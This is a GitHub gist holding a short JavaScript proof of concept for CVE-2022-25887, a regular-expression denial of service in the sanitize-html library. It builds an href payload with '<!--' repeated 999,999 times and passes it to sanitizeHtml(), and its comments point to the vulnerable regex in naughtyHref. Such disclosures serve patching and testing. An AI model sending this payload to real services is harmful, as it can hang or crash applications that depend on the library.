Skip to content

Instantly share code, notes, and snippets.

@this-post

this-post/CVE-2022-25887.js

Created January 19, 2023 07:13
Show Gist options
  • Save this-post/582415dad172767ed04bf4381e2f8239 to your computer and use it in GitHub Desktop.
Save this-post/582415dad172767ed04bf4381e2f8239 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2022-25887 Proof of Concept
Raw
CVE-2022-25887.js
const sanitizeHtml = require('sanitize-html'); // tested on sanitize-html 2.6.0
var payload = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>";
sanitizeHtml(payload)
// console.log(sanitizeHtml(payload));
// href = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>";
// href = href.replace(/<!--.*?-->/g, ''); // this is a vulnerable line on naughtyHref(name, href) of index.js
// console.log(href);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment